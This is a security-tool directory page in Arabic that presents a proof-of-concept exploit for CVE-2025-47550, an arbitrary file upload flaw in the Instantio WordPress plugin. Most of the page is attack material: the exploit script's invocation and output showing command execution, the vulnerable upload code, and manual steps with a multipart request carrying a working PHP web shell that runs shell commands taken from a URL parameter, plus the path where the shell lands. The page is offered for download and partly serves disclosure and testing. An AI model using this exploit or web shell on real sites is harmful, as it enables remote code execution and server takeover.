Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-47550 — Instantio - إضافة ووردبريس <= 3.3.16 - رفع ملفات تعسفي عبر ins_options_save للمستخدمين المصادق عليهم (مدير+) | Kitploit
أدوات/GitHubGitHub/d0n601/cve-2025-47550
توليد الحمولةتحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراق
GitHubd0n601/cve-2025-47550

CVE-2025-47550

Instantio - إضافة ووردبريس <= 3.3.16 - رفع ملفات تعسفي عبر ins_options_save للمستخدمين المصادق عليهم (مدير+)

عرض المستودع
1منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Instantio - إضافة ووردبريس <= 3.3.16 - رفع ملفات تعسفي للمستخدمين المصادَق عليهم (مدير+) عبر ins_options_save

لا تقوم إضافة Instantio بتعقيم أنواع الملفات في وظيفة حفظ الخيارات الخاصة بها، مما يسمح للمدراء أو من هم أعلى منهم برفع ملفات تعسفية وربما تنفيذ كود على الخادم.

ملخص الاستغلالات

  • يتم توفير إثبات مفهوم CVE-2025-47550.py يوضح قيام مسؤول برفع شيل ويب باسم shell.php.
root@kitploit:~
% python3 CVE-2025-47550.py https://lab1.hacker admin PASSWORD
Logging into: https://lab1.hacker/wp-admin
Extracting nonce values...
Uploading web shell: shell.php
{"status":"success","message":"Options saved successfully!"}
Web Shell Location: https://lab1.hacker/wp-content/uploads/itinerary-fonts/shell.php

Executing test command: ip addr
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
    altname enp0s3
    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
       valid_lft 33750sec preferred_lft 33750sec
    inet6 fd17:625c:f037:2:a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute 
       valid_lft 86119sec preferred_lft 14119sec
    inet6 fe80::a00:27ff:fe5b:342f/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
    altname enp0s8
    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe39:eaeb/64 scope link 
       valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:e5:9e:f6:23 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
</pre>

التفاصيل

تقوم الأسطر 965-972 من دالة save_options() بفحص طلب HTTP للبحث عن $_FILES ولا تتحقق سوى من نوع MIME مقابل النوع العام application/octet-stream. بعد ذلك يتم تخزين الملف في دليل يمكن الوصول إليه عبر الويب /wp-content/uploads/itinerary-fonts.

root@kitploit:~
$tf_fonts_extantions = array( 'application/octet-stream' );
for ( $i = 0; $i < count( $_FILES['file']['name'] ); $i++ ) {
    if ( in_array( $_FILES['file']['type'][ $i ], $tf_fonts_extantions ) ) {
        $tf_font_filename = $_FILES['file']['name'][ $i ];
        move_uploaded_file( $_FILES['file']['tmp_name'][ $i ], $tf_itinerary_fonts . '/' . $tf_font_filename );
    }
}

إعادة الإنتاج يدويًا

  1. سجّل الدخول إلى لوحة التحكم وانتقل إلى Instantio -> Settings.

  2. شغّل Burp Suite أو أداة مشابهة وابدأ باعتراض حركة المرور.

  3. انقر على زر Save في الزاوية السفلية اليمنى. test1

  4. اعترض طلب POST في Burp، وأضف بيانات الملف الخاصة بك (تأكد من استخدام الحدود الصحيحة للنموذج).

root@kitploit:~
------WebKitFormBoundarydAJeoqdwR5qxfDb1
Content-Disposition: form-data; name="file[]"; filename="shell.php"
Content-Type: application/octet-stream

<?php
// Silence is golden
if (!empty($_GET['cmd'])) {
    echo "<pre>".shell_exec($_GET["cmd"])."</pre>";
}
------WebKitFormBoundarydAJeoqdwR5qxfDb1--

test2

  1. قم بتمرير الطلب وتأكد من أن الاستجابة تشير إلى النجاح:
root@kitploit:~
{"status":"success","message":"Options saved successfully!"}
  1. انتقل إلى https://lab1.hacker/wp-content/uploads/itinerary-fonts/shell.php لتنفيذ إثبات المفهوم. test3
تنزيل الأداة